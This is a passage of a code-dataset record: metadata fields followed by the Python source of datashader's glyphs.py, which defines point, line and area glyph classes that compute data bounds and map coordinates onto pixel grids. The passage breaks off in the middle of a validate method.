| 89
| 2
| 45
| 44.5
| 0.876543
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
2ea142cc9dfeb3d89a208b51393810c27c2264ce
| 98,310
|
py
|
Python
|
datashader/glyphs.py
|
wxbn/datashader
|
09108467658d7a905f44db5d0d3b58131ab956dd
|
[
"BSD-3-Clause"
] | null | null | null |
datashader/glyphs.py
|
wxbn/datashader
|
09108467658d7a905f44db5d0d3b58131ab956dd
|
[
"BSD-3-Clause"
] | null | null | null |
datashader/glyphs.py
|
wxbn/datashader
|
09108467658d7a905f44db5d0d3b58131ab956dd
|
[
"BSD-3-Clause"
] | null | null | null |
from __future__ import absolute_import, division
from toolz import memoize
import numpy as np
from .utils import ngjit, isreal, Expr
class Glyph(Expr):
"""Base class for glyphs."""
@staticmethod
def maybe_expand_bounds(bounds):
minval, maxval = bounds
if not (np.isfinite(minval) and np.isfinite(maxval)):
minval, maxval = -1.0, 1.0
elif minval == maxval:
minval, maxval = minval-1, minval+1
return minval, maxval
@staticmethod
@ngjit
def _compute_x_bounds(xs):
minval = np.inf
maxval = -np.inf
for x in xs:
if not np.isnan(x):
if x < minval:
minval = x
if x > maxval:
maxval = x
return minval, maxval
@staticmethod
@ngjit
def _compute_y_bounds(ys):
minval = np.inf
maxval = -np.inf
for y in ys:
if not np.isnan(y):
if y < minval:
minval = y
if y > maxval:
maxval = y
return minval, maxval
class _PointLike(Glyph):
"""Shared methods between Point and Line"""
def __init__(self, x, y):
self.x = x
self.y = y
@property
def inputs(self):
return (self.x, self.y)
def validate(self, in_dshape):
if not isreal(in_dshape.measure[str(self.x)]):
raise ValueError('x must be real')
elif not isreal(in_dshape.measure[str(self.y)]):
raise ValueError('y must be real')
@property
def x_label(self):
return self.x
@property
def y_label(self):
return self.y
def required_columns(self):
return [self.x, self.y]
def compute_x_bounds(self, df):
bounds = self._compute_x_bounds(df[self.x].values)
return self.maybe_expand_bounds(bounds)
def compute_y_bounds(self, df):
bounds = self._compute_y_bounds(df[self.y].values)
return self.maybe_expand_bounds(bounds)
@memoize
def compute_bounds_dask(self, ddf):
r = ddf.map_partitions(lambda df: np.array([[
np.nanmin(df[self.x].values),
np.nanmax(df[self.x].values),
np.nanmin(df[self.y].values),
np.nanmax(df[self.y].values)]]
)).compute()
x_extents = np.nanmin(r[:, 0]), np.nanmax(r[:, 1])
y_extents = np.nanmin(r[:, 2]), np.nanmax(r[:, 3])
return (self.maybe_expand_bounds(x_extents),
self.maybe_expand_bounds(y_extents))
class _PolygonLike(_PointLike):
"""_PointLike class, with methods overridden for vertex-delimited shapes.
Key differences from _PointLike:
- added self.z as a list, representing vertex weights
- constructor accepts additional kwargs:
* weight_type (bool): Whether the weights are on vertices (True) or on the shapes (False)
* interp (bool): Whether to interpolate (True), or to have one color per shape (False)
"""
def __init__(self, x, y, z=None, weight_type=True, interp=True):
super(_PolygonLike, self).__init__(x, y)
if z is None:
self.z = []
else:
self.z = z
self.interpolate = interp
self.weight_type = weight_type
@property
def inputs(self):
return (tuple([self.x, self.y] + list(self.z)) +
(self.weight_type, self.interpolate))
def validate(self, in_dshape):
for col in [self.x, self.y] + list(self.z):
if not isreal(in_dshape.measure[str(col)]):
raise ValueError('{} must be real'.format(col))
def required_columns(self):
return [self.x, self.y] + list(self.z)
def compute_x_bounds(self, df):
xs = df[self.x].values
bounds = self._compute_x_bounds(xs.reshape(np.prod(xs.shape)))
return self.maybe_expand_bounds(bounds)
def compute_y_bounds(self, df):
ys = df[self.y].values
bounds = self._compute_y_bounds(ys.reshape(np.prod(ys.shape)))
return self.maybe_expand_bounds(bounds)
class Point(_PointLike):
"""A point, with center at ``x`` and ``y``.
Points map each record to a single bin.
Points falling exactly on the upper bounds are treated as a special case,
mapping into the previous bin rather than being cropped off.
Parameters
----------
x, y : str
Column names for the x and y coordinates of each point.
"""
@memoize
def _build_extend(self, x_mapper, y_mapper, info, append):
x_name = self.x
y_name = self.y
@ngjit
def _extend(vt, bounds, xs, ys, *aggs_and_cols):
sx, tx, sy, ty = vt
xmin, xmax, ymin, ymax = bounds
def map_onto_pixel(x, y):
"""Map points onto pixel grid.
Points falling on upper bound are mapped into previous bin.
"""
xx = int(x_mapper(x) * sx + tx)
yy = int(y_mapper(y) * sy + ty)
return (xx - 1 if x == xmax else xx,
yy - 1 if y == ymax else yy)
for i in range(xs.shape[0]):
x = xs[i]
y = ys[i]
# points outside bounds are dropped; remainder
# are mapped onto pixels
if (xmin <= x <= xmax) and (ymin <= y <= ymax):
xi, yi = map_onto_pixel(x, y)
append(i, xi, yi, *aggs_and_cols)
def extend(aggs, df, vt, bounds):
xs = df[x_name].values
ys = df[y_name].values
cols = aggs + info(df)
_extend(vt, bounds, xs, ys, *cols)
return extend
class LineAxis0(_PointLike):
"""A line, with vertices defined by ``x`` and ``y``.
Parameters
----------
x, y : str
Column names for the x and y coordinates of each vertex.
"""
@memoize
def _build_extend(self, x_mapper, y_mapper, info, append):
draw_line = _build_draw_line(append)
map_onto_pixel = _build_map_onto_pixel_for_line(x_mapper, y_mapper)
extend_line = _build_extend_line_axis0(draw_line, map_onto_pixel)
x_name = self.x
y_name = self.y
def extend(aggs, df, vt, bounds, plot_start=True):
xs = df[x_name].values
ys = df[y_name].values
cols = aggs + info(df)
# line may be clipped, then mapped to pixels
extend_line(vt, bounds, xs, ys, plot_start, *cols)
return extend
class LineAxis0Multi(_PointLike):
"""
"""
def validate(self, in_dshape):
if not all([isreal(in_dshape.measure[str(xcol)]) for xcol in self.x]):
raise ValueError('x columns must be real')
elif not all([isreal(in_dshape.measure[str(ycol)]) for ycol in self.y]):
raise ValueError('y columns must be real')
@property
def x_label(self):
return 'x'
@property
def y_label(self):
return 'y'
def required_columns(self):
return self.x + self.y
def compute_x_bounds(self, df):
bounds_list = [self._compute_x_bounds(df[x].values)
for x in self.x]
mins, maxes = zip(*bounds_list)
return self.maybe_expand_bounds((min(mins), max(maxes)))
def compute_y_bounds(self, df):
bounds_list = [self._compute_y_bounds(df[y].values)
for y in self.y]
mins, maxes = zip(*bounds_list)
return self.maybe_expand_bounds((min(mins), max(maxes)))
@memoize
def compute_bounds_dask(self, ddf):
r = ddf.map_partitions(lambda df: np.array([[
np.nanmin([np.nanmin(df[c].values) for c in self.x]),
np.nanmax([np.nanmax(df[c].values) for c in self.x]),
np.nanmin([np.nanmin(df[c].values) for c in self.y]),
np.nanmax([np.nanmax(df[c].values) for c in self.y])]]
)).compute()
x_extents = np.nanmin(r[:, 0]), np.nanmax(r[:, 1])
y_extents = np.nanmin(r[:, 2]), np.nanmax(r[:, 3])
return (self.maybe_expand_bounds(x_extents),
self.maybe_expand_bounds(y_extents))
@memoize
def _build_extend(self, x_mapper, y_mapper, info, append):
draw_line = _build_draw_line(append)
map_onto_pixel = _build_map_onto_pixel_for_line(x_mapper, y_mapper)
extend_line = _build_extend_line_axis0_multi(draw_line, map_onto_pixel)
x_names = self.x
y_names = self.y
def extend(aggs, df, vt, bounds, plot_start=True):
xs = tuple(df[x_name].values for x_name in x_names)
ys = tuple(df[y_name].values for y_name in y_names)
cols = aggs + info(df)
# line may be clipped, then mapped to pixels
extend_line(vt, bounds, xs, ys, plot_start, *cols)
return extend
class LinesAxis1(_PointLike):
"""A collection of lines (on line per row) with vertices defined
by the lists of columns in ``x`` and ``y``
Parameters
----------
x, y : list
Lists of column names for the x and y coordinates
"""
def validate(self, in_dshape):
if not all([isreal(in_dshape.measure[str(xcol)])
for xcol in self.x]):
raise ValueError('x columns must be real')
elif not all([isreal(in_dshape.measure[str(ycol)])
for ycol in self.y]):
raise ValueError('y columns must be real')
unique_x_measures = set(in_dshape.measure[str(xcol)]
for xcol in self.x)
if len(unique_x_measures) > 1:
raise ValueError('x columns must have the same data type')
unique_y_measures = set(in_dshape.measure[str(ycol)]
for ycol in self.y)
if len(unique_y_measures) > 1:
raise ValueError('y columns must have the same data type')
def required_columns(self):
return self.x + self.y
@property
def x_label(self):
return 'x'
@property
def y_label(self):
return 'y'
def compute_x_bounds(self, df):
xs = tuple(df[xlabel] for xlabel in self.x)
bounds_list = [self._compute_x_bounds(xcol.values) for xcol in xs]
mins, maxes = zip(*bounds_list)
return self.maybe_expand_bounds((min(mins), max(maxes)))
def compute_y_bounds(self, df):
ys = tuple(df[ylabel] for ylabel in self.y)
bounds_list = [self._compute_y_bounds(ycol.values) for ycol in ys]
mins, maxes = zip(*bounds_list)
return self.maybe_expand_bounds((min(mins), max(maxes)))
@memoize
def compute_bounds_dask(self, ddf):
r = ddf.map_partitions(lambda df: np.array([[
np.nanmin([np.nanmin(df[c].values) for c in self.x]),
np.nanmax([np.nanmax(df[c].values) for c in self.x]),
np.nanmin([np.nanmin(df[c].values) for c in self.y]),
np.nanmax([np.nanmax(df[c].values) for c in self.y])]]
)).compute()
x_extents = np.nanmin(r[:, 0]), np.nanmax(r[:, 1])
y_extents = np.nanmin(r[:, 2]), np.nanmax(r[:, 3])
return (self.maybe_expand_bounds(x_extents),
self.maybe_expand_bounds(y_extents))
@memoize
def _build_extend(self, x_mapper, y_mapper, info, append):
draw_line = _build_draw_line(append)
map_onto_pixel = _build_map_onto_pixel_for_line(x_mapper, y_mapper)
extend_lines_xy = _build_extend_line_axis1_none_constant(draw_line, map_onto_pixel)
x_names = self.x
y_names = self.y
def extend(aggs, df, vt, bounds, plot_start=True):
xs = tuple(df[x_name].values for x_name in x_names)
ys = tuple(df[y_name].values for y_name in y_names)
cols = aggs + info(df)
# line may be clipped, then mapped to pixels
extend_lines_xy(vt, bounds, xs, ys, plot_start, *cols)
return extend
class LinesAxis1XConstant(LinesAxis1):
"""
"""
def validate(self, in_dshape):
if not all([isreal(in_dshape.measure[str(ycol)]) for ycol in self.y]):
raise ValueError('y columns must be real')
unique_y_measures = set(in_dshape.measure[str(ycol)]
for ycol in self.y)
if len(unique_y_measures) > 1:
raise ValueError('y columns must have the same data type')
def required_columns(self):
return self.y
def compute_x_bounds(self, *args):
x_min = np.nanmin(self.x)
x_max = np.nanmax(self.x)
return self.maybe_expand_bounds((x_min, x_max))
@memoize
def compute_bounds_dask(self, ddf):
r = ddf.map_partitions(lambda df: np.array([[
np.nanmin([np.nanmin(df[c].values) for c in self.y]),
np.nanmax([np.nanmax(df[c].values) for c in self.y])]]
)).compute()
y_extents = np.nanmin(r[:, 0]), np.nanmax(r[:, 1])
return (self.compute_x_bounds(),
self.maybe_expand_bounds(y_extents))
@memoize
def _build_extend(self, x_mapper, y_mapper, info, append):
draw_line = _build_draw_line(append)
map_onto_pixel = _build_map_onto_pixel_for_line(x_mapper, y_mapper)
extend_lines = _build_extend_line_axis1_x_constant(draw_line, map_onto_pixel)
x_values = self.x
y_names = self.y
def extend(aggs, df, vt, bounds, plot_start=True):
ys = tuple(df[y_name].values for y_name in y_names)
cols = aggs + info(df)
# line may be clipped, then mapped to pixels
extend_lines(vt, bounds, x_values, ys, plot_start, *cols)
return extend
class LinesAxis1YConstant(LinesAxis1):
"""
"""
def validate(self, in_dshape):
if not all([isreal(in_dshape.measure[str(xcol)]) for xcol in self.x]):
raise ValueError('x columns must be real')
unique_x_measures = set(in_dshape.measure[str(xcol)]
for xcol in self.x)
if len(unique_x_measures) > 1:
raise ValueError('x columns must have the same data type')
def required_columns(self):
return self.x
def compute_y_bounds(self, *args):
y_min = np.nanmin(self.y)
y_max = np.nanmax(self.y)
return self.maybe_expand_bounds((y_min, y_max))
@memoize
def compute_bounds_dask(self, ddf):
r = ddf.map_partitions(lambda df: np.array([[
np.nanmin([np.nanmin(df[c].values) for c in self.x]),
np.nanmax([np.nanmax(df[c].values) for c in self.x])]]
)).compute()
x_extents = np.nanmin(r[:, 0]), np.nanmax(r[:, 1])
return (self.maybe_expand_bounds(x_extents),
self.compute_y_bounds())
@memoize
def _build_extend(self, x_mapper, y_mapper, info, append):
draw_line = _build_draw_line(append)
map_onto_pixel = _build_map_onto_pixel_for_line(x_mapper, y_mapper)
extend_lines = _build_extend_line_axis1_y_constant(draw_line, map_onto_pixel)
x_names = self.x
y_values = self.y
def extend(aggs, df, vt, bounds, plot_start=True):
xs = tuple(df[x_name].values for x_name in x_names)
cols = aggs + info(df)
# line may be clipped, then mapped to pixels
extend_lines(vt, bounds, xs, y_values, plot_start, *cols)
return extend
class LinesAxis1Ragged(_PointLike):
def validate(self, in_dshape):
try:
from datashader.datatypes import RaggedDtype
except ImportError:
RaggedDtype = type(None)
if not isinstance(in_dshape[str(self.x)], RaggedDtype):
raise ValueError('x must be a RaggedArray')
elif not isinstance(in_dshape[str(self.y)], RaggedDtype):
raise ValueError('y must be a RaggedArray')
def required_columns(self):
return (self.x,) + (self.y,)
def compute_x_bounds(self, df):
bounds = self._compute_x_bounds(df[self.x].array.flat_array)
return self.maybe_expand_bounds(bounds)
def compute_y_bounds(self, df):
bounds = self._compute_y_bounds(df[self.y].array.flat_array)
return self.maybe_expand_bounds(bounds)
@memoize
def compute_bounds_dask(self, ddf):
r = ddf.map_partitions(lambda df: np.array([[
np.nanmin(df[self.x].array.flat_array),
np.nanmax(df[self.x].array.flat_array),
np.nanmin(df[self.y].array.flat_array),
np.nanmax(df[self.y].array.flat_array)]]
)).compute()
x_extents = np.nanmin(r[:, 0]), np.nanmax(r[:, 1])
y_extents = np.nanmin(r[:, 2]), np.nanmax(r[:, 3])
return (self.maybe_expand_bounds(x_extents),
self.maybe_expand_bounds(y_extents))
@memoize
def _build_extend(self, x_mapper, y_mapper, info, append):
draw_line = _build_draw_line(append)
map_onto_pixel = _build_map_onto_pixel_for_line(x_mapper, y_mapper)
extend_lines_ragged = _build_extend_line_axis1_ragged(draw_line, map_onto_pixel)
x_name = self.x
y_name = self.y
def extend(aggs, df, vt, bounds, plot_start=True):
xs = df[x_name].array
ys = df[y_name].array
cols = aggs + info(df)
# line may be clipped, then mapped to pixels
extend_lines_ragged(vt, bounds, xs, ys, plot_start, *cols)
return extend
class _AreaToLineLike(Glyph):
"""Shared methods between Point and Line"""
def __init__(self, x, y, y_stack):
self.x = x
self.y = y
self.y_stack = y_stack
@property
def inputs(self):
return (self.x, self.y, self.y_stack)
def validate(self, in_dshape):
if not isreal(in_dshape.measure[str(self.x)]):
raise ValueError('x must be real')
elif not isreal(in_dshape.measure[str(self.y)]):
raise ValueError('y must be real')
elif not isreal(in_dshape.measure[str(self.y_stack)]):
raise ValueError('y_stack must be real or None')
@property
def x_label(self):
return self.x
@property
def y_label(self):
return self.y
def required_columns(self):
return self.x, self.y, self.y_stack
def compute_x_bounds(self, df):
bounds = self._compute_x_bounds(df[self.x].values)
return self.maybe_expand_bounds(bounds)
class AreaToZeroAxis0(_PointLike):
"""A filled area glyph
The area to be filled is the region from the line defined by ``x`` and
``y`` and the y=0 line
Parameters
----------
x, y
Column names for the x and y coordinates of each vertex.
"""
def compute_y_bounds(self, df):
# Compute bounds of curve
bounds = self._compute_y_bounds(df[self.y].values)
# Make sure bounds include zero
bounds = min(bounds[0], 0), max(bounds[1], 0)
# Expand bounds if needed
return self.maybe_expand_bounds(bounds)
@memoize
def compute_bounds_dask(self, ddf):
r = ddf.map_partitions(lambda df: np.array([[
np.nanmin(df[self.x].values),
np.nanmax(df[self.x].values),
np.nanmin(df[self.y].values),
np.nanmax(df[self.y].values)]]
)).compute()
x_extents = np.nanmin(r[:, 0]), np.nanmax(r[:, 1])
y_extents = np.nanmin(r[:, 2]), np.nanmax(r[:, 3])
# Make sure y_extents include zero
y_extents = min(y_extents[0], 0), max(y_extents[1], 0)
return (self.maybe_expand_bounds(x_extents),
self.maybe_expand_bounds(y_extents))
@memoize
def _build_extend(self, x_mapper, y_mapper, info, append):
draw_trapezoid_y = _build_draw_trapezoid_y(append)
map_onto_pixel = _build_map_onto_pixel_for_line(x_mapper, y_mapper)
extend_area = _build_extend_area_to_zero_axis0(
draw_trapezoid_y, map_onto_pixel)
x_name = self.x
y_name = self.y
def extend(aggs, df, vt, bounds, plot_start=True):
xs = df[x_name].values
ys = df[y_name].values
cols = aggs + info(df)
extend_area(vt, bounds, xs, ys, plot_start, *cols)
return extend
class AreaToLineAxis0(_AreaToLineLike):
"""A filled area glyph
The area to be filled is the region from the line defined by ``x`` and
``y[0]`` and the line defined by ``x`` and ``y[1]``.
Parameters
----------
x
Column names for the x and y coordinates of each vertex.
y
List or tuple of length two containing the column names of the
y-coordinates of the two curves that define the area region.
"""
def compute_y_bounds(self, df):
# Compute bounds of each curve
bounds0 = self._compute_y_bounds(df[self.y].values)
bounds1 = self._compute_y_bounds(df[self.y_stack].values)
# Combine bounds from the two curves
bounds = min(bounds0[0], bounds1[0]), max(bounds0[1], bounds1[1])
# Expand bounds if needed
return self.maybe_expand_bounds(bounds)
@memoize
def compute_bounds_dask(self, ddf):
r = ddf.map_partitions(lambda df: np.array([[
np.nanmin(df[self.x].values),
np.nanmax(df[self.x].values),
np.nanmin(df[self.y].values),
np.nanmax(df[self.y].values),
np.nanmin(df[self.y_stack].values),
np.nanmax(df[self.y_stack].values)]]
)).compute()
x_extents = np.nanmin(r[:, 0]), np.nanmax(r[:, 1])
y0_extents = np.nanmin(r[:, 2]), np.nanmax(r[:, 3])
y1_extents = np.nanmin(r[:, 4]), np.nanmax(r[:, 5])
# Make sure y_extents include 0
y_extents = (min(y0_extents[0], y1_extents[0]),
max(y0_extents[1], y1_extents[1]))
return (self.maybe_expand_bounds(x_extents),
self.maybe_expand_bounds(y_extents))
@memoize
def _build_extend(self, x_mapper, y_mapper, info, append):
draw_trapezoid_y = _build_draw_trapezoid_y(append)
map_onto_pixel = _build_map_onto_pixel_for_line(x_mapper, y_mapper)
extend_area = _build_extend_area_to_line_axis0(
draw_trapezoid_y, map_onto_pixel)
x_name = self.x
y_name = self.y
y_stack_name = self.y_stack
def extend(aggs, df, vt, bounds, plot_start=True):
xs = df[x_name].values
ys = df[y_name].values
ys_stacks = df[y_stack_name].values
cols = aggs + info(df)
extend_area(vt, bounds, xs, ys, ys_stacks, plot_start, *cols)
return extend
class AreaToZeroAxis0Multi(_PointLike):
def validate(self, in_dshape):
if not all([isreal(in_dshape.measure[str(xcol)]) for xcol in self.x]):
raise ValueError('x columns must be real')
elif not all(
[isreal(in_dshape.measure[str(ycol)]) for ycol in self.y]):
raise ValueError('y columns must be real')
@property
def x_label(self):
return 'x'
@property
def y_label(self):
return 'y'
def required_columns(self):
return self.x + self.y
def compute_x_bounds(self, df):
bounds_list = [self._compute_x_bounds(df[x].values)
for x in self.x]
mins, maxes = zip(*bounds_list)
return self.maybe_expand_bounds((min(mins), max(maxes)))
def compute_y_bounds(self, df):
bounds_list = [self._compute_y_bounds(df[y].values)
for y in self.y]
mins, maxes = zip(*bounds_list)
# Make sure min/max range includes zero
mn = min(0, min(mins))
mx = max(0, max(maxes))
return self.maybe_expand_bounds((mn, mx))
@memoize
def compute_bounds_dask(self, ddf):
r = ddf.map_partitions(lambda df: np.array([[
np.nanmin([np.nanmin(df[c].values) for c in self.x]),
np.nanmax([np.nanmax(df[c].values) for c in self.x]),
np.nanmin([np.nanmin(df[c].values) for c in self.y]),
np.nanmax([np.nanmax(df[c].values) for c in self.y])]]
)).compute()
x_extents = np.nanmin(r[:, 0]), np.nanmax(r[:, 1])
y_extents = np.nanmin(r[:, 2]), np.nanmax(r[:, 3])
# Makes sure y_extents include 0
y_extents = min(0, y_extents[0]), max(0, y_extents[1])
return (self.maybe_expand_bounds(x_extents),
self.maybe_expand_bounds(y_extents))
@memoize
def _build_extend(self, x_mapper, y_mapper, info, append):
draw_trapezoid_y = _build_draw_trapezoid_y(append)
map_onto_pixel = _build_map_onto_pixel_for_line(x_mapper, y_mapper)
extend_area = _build_extend_area_to_zero_axis0_multi(
draw_trapezoid_y, map_onto_pixel)
x_names = self.x
y_names = self.y
def extend(aggs, df, vt, bounds, plot_start=True):
xs = tuple(df[x_name].values for x_name in x_names)
ys = tuple(df[y_name].values for y_name in y_names)
cols = aggs + info(df)
extend_area(vt, bounds, xs, ys, plot_start, *cols)
return extend
class AreaToLineAxis0Multi(_AreaToLineLike):
def validate(self, in_dshape):
if not all([isreal(in_dshape.measure[str(xcol)]) for xcol in self.x]):
raise ValueError('x columns must be real')
elif not all(
[isreal(in_dshape.measure[str(ycol)]) for ycol in self.y]):
raise ValueError('y columns must be real')
elif not all(
[isreal(in_dshape.measure[str(ycol)])
for ycol in self.y_stack]):
raise ValueError('y_stack columns must be real')
@property
def x_label(self):
return 'x'
@property
def y_label(self):
return 'y'
def required_columns(self):
return self.x + self.y + self.y_stack
def compute_x_bounds(self, df):
bounds_list = [self._compute_x_bounds(df[x].values)
for x in self.x]
mins, maxes = zip(*bounds_list)
return self.maybe_expand_bounds((min(mins), max(maxes)))
def compute_y_bounds(self, df):
bounds_list = [self._compute_y_bounds(df[y].values)
for y in self.y + self.y_stack]
mins, maxes = zip(*bounds_list)
return self.maybe_expand_bounds((min(mins), max(maxes)))
@memoize
def compute_bounds_dask(self, ddf):
r = ddf.map_partitions(lambda df: np.array([[
np.nanmin([np.nanmin(df[c].values) for c in self.x]),
np.nanmax([np.nanmax(df[c].values) for c in self.x]),
np.nanmin([np.nanmin(df[c].values) for c in self.y]),
np.nanmax([np.nanmax(df[c].values) for c in self.y]),
np.nanmin([np.nanmin(df[c].values) for c in self.y_stack]),
np.nanmax([np.nanmax(df[c].values) for c in self.y_stack]),
]]
)).compute()
x_extents = np.nanmin(r[:, 0]), np.nanmax(r[:, 1])
y_extents = np.nanmin(r[:, [2, 4]]), np.nanmax(r[:, [3, 5]])
return (self.maybe_expand_bounds(x_extents),
self.maybe_expand_bounds(y_extents))
@memoize
def _build_extend(self, x_mapper, y_mapper, info, append):
draw_trapezoid_y = _build_draw_trapezoid_y(append)
map_onto_pixel = _build_map_onto_pixel_for_line(x_mapper, y_mapper)
extend_area = _build_extend_area_to_line_axis0_multi(
draw_trapezoid_y, map_onto_pixel)
x_names = self.x
y_names = self.y
y_stack_names = self.y_stack
def extend(aggs, df, vt, bounds, plot_start=True):
xs = tuple(df[x_name].values for x_name in x_names)
ys = tuple(df[y_name].values for y_name in y_names)
y_stacks = tuple(df[y_stack_name].values
for y_stack_name in y_stack_names)
cols = aggs + info(df)
extend_area(vt, bounds, xs, ys, y_stacks, plot_start, *cols)
return extend
class AreaToZeroAxis1(_PointLike):
def validate(self, in_dshape):
if not all([isreal(in_dshape.measure[str(xcol)])
for xcol in self.x]):
raise ValueError('x columns must be real')
elif not all([isreal(in_dshape.measure[str(ycol)])
for ycol in self.y]):
raise ValueError('y columns must be real')
unique_x_measures = set(in_dshape.measure[str(xcol)]
for xcol in self.x)
if len(unique_x_measures) > 1:
raise ValueError('x columns must have the same data type')
unique_y_measures = set(in_dshape.measure[str(ycol)]
for ycol in self.y)
if len(unique_y_measures) > 1:
raise ValueError('y columns must have the same data type')
def required_columns(self):
return self.x + self.y
@property
def x_label(self):
return 'x'
@property
def y_label(self):
return 'y'
def compute_x_bounds(self, df):
xs = tuple(df[xlabel] for xlabel in self.x)
bounds_list = [self._compute_x_bounds(xcol.values) for xcol in xs]
mins, maxes = zip(*bounds_list)
return self.maybe_expand_bounds((min(mins), max(maxes)))
def compute_y_bounds(self, df):
ys = tuple(df[ylabel] for ylabel in self.y)
bounds_list = [self._compute_y_bounds(ycol.values) for ycol in ys]
mins, maxes = zip(*bounds_list)
# Make sure min/max range includes zero
mn = min(0, min(mins))
mx = max(0, max(maxes))
return self.maybe_expand_bounds((mn, mx))
@memoize
def compute_bounds_dask(self, ddf):
r = ddf.map_partitions(lambda df: np.array([[
np.nanmin([np.nanmin(df[c].values) for c in self.x]),
np.nanmax([np.nanmax(df[c].values) for c in self.x]),
np.nanmin([np.nanmin(df[c].values) for c in self.y]),
np.nanmax([np.nanmax(df[c].values) for c in self.y])]]
)).compute()
x_extents = np.nanmin(r[:, 0]), np.nanmax(r[:, 1])
y_extents = np.nanmin(r[:, 2]), np.nanmax(r[:, 3])
# Makes sure y_extents include 0
y_extents = min(0, y_extents[0]), max(0, y_extents[1])
return (self.maybe_expand_bounds(x_extents),
self.maybe_expand_bounds(y_extents))
@memoize
def _build_extend(self, x_mapper, y_mapper, info, append):
draw_trapezoid_y = _build_draw_trapezoid_y(append)
map_onto_pixel = _build_map_onto_pixel_for_line(x_mapper, y_mapper)
extend_area = _build_extend_area_to_zero_axis1_none_constant(
draw_trapezoid_y, map_onto_pixel)
x_names = self.x
y_names = self.y
def extend(aggs, df, vt, bounds, plot_start=True):
xs = tuple(df[x_name].values for x_name in x_names)
ys = tuple(df[y_name].values for y_name in y_names)
cols = aggs + info(df)
# line may be clipped, then mapped to pixels
extend_area(vt, bounds, xs, ys, plot_start, *cols)
return extend
class AreaToLineAxis1(_AreaToLineLike):
def validate(self, in_dshape):
if not all([isreal(in_dshape.measure[str(xcol)])
for xcol in self.x]):
raise ValueError('x columns must be real')
elif not all([isreal(in_dshape.measure[str(ycol)])
for ycol in self.y]):
raise ValueError('y columns must be real')
elif not all([isreal(in_dshape.measure[str(ycol)])
for ycol in self.y_stack]):
raise ValueError('y_stack columns must be real')
unique_x_measures = set(in_dshape.measure[str(xcol)]
for xcol in self.x)
if len(unique_x_measures) > 1:
raise ValueError('x columns must have the same data type')
unique_y_measures = set(in_dshape.measure[str(ycol)]
for ycol in self.y)
if len(unique_y_measures) > 1:
raise ValueError('y columns must have the same data type')
unique_y_stack_measures = set(in_dshape.measure[str(ycol)]
for ycol in self.y_stack)
if len(unique_y_stack_measures) > 1:
raise ValueError('y_stack columns must have the same data type')
def required_columns(self):
return self.x + self.y + self.y_stack
@property
def x_label(self):
return 'x'
@property
def y_label(self):
return 'y'
def compute_x_bounds(self, df):
xs = tuple(df[xlabel] for xlabel in self.x)
bounds_list = [self._compute_x_bounds(xcol.values) for xcol in xs]
mins, maxes = zip(*bounds_list)
return self.maybe_expand_bounds((min(mins), max(maxes)))
def compute_y_bounds(self, df):
bounds_list = [self._compute_y_bounds(df[y].values)
for y in self.y + self.y_stack]
mins, maxes = zip(*bounds_list)
return self.maybe_expand_bounds((min(mins), max(maxes)))
@memoize
def compute_bounds_dask(self, ddf):
r = ddf.map_partitions(lambda df: np.array([[
np.nanmin([np.nanmin(df[c].values) for c in self.x]),
np.nanmax([np.nanmax(df[c].values) for c in self.x]),
np.nanmin([np.nanmin(df[c].values) for c in self.y]),
np.nanmax([np.nanmax(df[c].values) for c in self.y]),
np.nanmin([np.nanmin(df[c].values) for c in self.y_stack]),
np.nanmax([np.nanmax(df[c].values) for c in self.y_stack]),
]]
)).compute()
x_extents = np.nanmin(r[:, 0]), np.nanmax(r[:, 1])
y_extents = np.nanmin(r[:, [2, 4]]), np.nanmax(r[:, [3, 5]])
return (self.maybe_expand_bounds(x_extents),
self.maybe_expand_bounds(y_extents))
@memoize
def _build_extend(self, x_mapper, y_mapper, info, append):
draw_trapezoid_y = _build_draw_trapezoid_y(append)
map_onto_pixel = _build_map_onto_pixel_for_line(x_mapper, y_mapper)
extend_area = _build_extend_area_to_line_axis1_none_constant(
draw_trapezoid_y, map_onto_pixel)
x_names = self.x
y_names = self.y
y_stack_names = self.y_stack
def extend(aggs, df, vt, bounds, plot_start=True):
xs = tuple(df[x_name].values for x_name in x_names)
ys = tuple(df[y_name].values for y_name in y_names)
y_stacks = tuple(df[y_stack_name].values
for y_stack_name in y_stack_names)
cols = aggs + info(df)
extend_area(vt, bounds, xs, ys, y_stacks, plot_start, *cols)
return extend
class AreaToZeroAxis1XConstant(AreaToZeroAxis1):
def validate(self, in_dshape):
if not all([isreal(in_dshape.measure[str(ycol)]) for ycol in self.y]):
raise ValueError('y columns must be real')
unique_y_measures = set(in_dshape.measure[str(ycol)]
for ycol in self.y)
if len(unique_y_measures) > 1:
raise ValueError('y columns must have the same data type')
def required_columns(self):
return self.y
def compute_x_bounds(self, *args):
x_min = np.nanmin(self.x)
x_max = np.nanmax(self.x)
return self.maybe_expand_bounds((x_min, x_max))
@memoize
def compute_bounds_dask(self, ddf):
r = ddf.map_partitions(lambda df: np.array([[
np.nanmin([np.nanmin(df[c].values) for c in self.y]),
np.nanmax([np.nanmax(df[c].values) for c in self.y])]]
)).compute()
y_extents = np.nanmin(r[:, 0]), np.nanmax(r[:, 1])
return (self.compute_x_bounds(),
self.maybe_expand_bounds(y_extents))
@memoize
def _build_extend(self, x_mapper, y_mapper, info, append):
draw_trapezoid_y = _build_draw_trapezoid_y(append)
map_onto_pixel = _build_map_onto_pixel_for_line(x_mapper, y_mapper)
extend_area = _build_extend_area_to_zero_axis1_x_constant(
draw_trapezoid_y, map_onto_pixel)
x_values = self.x
y_names = self.y
def extend(aggs, df, vt, bounds, plot_start=True):
ys = tuple(df[y_name].values for y_name in y_names)
cols = aggs + info(df)
# line may be clipped, then mapped to pixels
extend_area(vt, bounds, x_values, ys, plot_start, *cols)
return extend
class AreaToLineAxis1XConstant(AreaToLineAxis1):
def validate(self, in_dshape):
if not all([isreal(in_dshape.measure[str(ycol)])
for ycol in self.y]):
raise ValueError('y columns must be real')
if not all([isreal(in_dshape.measure[str(ycol)])
for ycol in self.y_stack]):
raise ValueError('y_stack columns must be real')
unique_y_measures = set(in_dshape.measure[str(ycol)]
for ycol in self.y)
if len(unique_y_measures) > 1:
raise ValueError('y columns must have the same data type')
unique_y_stack_measures = set(in_dshape.measure[str(ycol)]
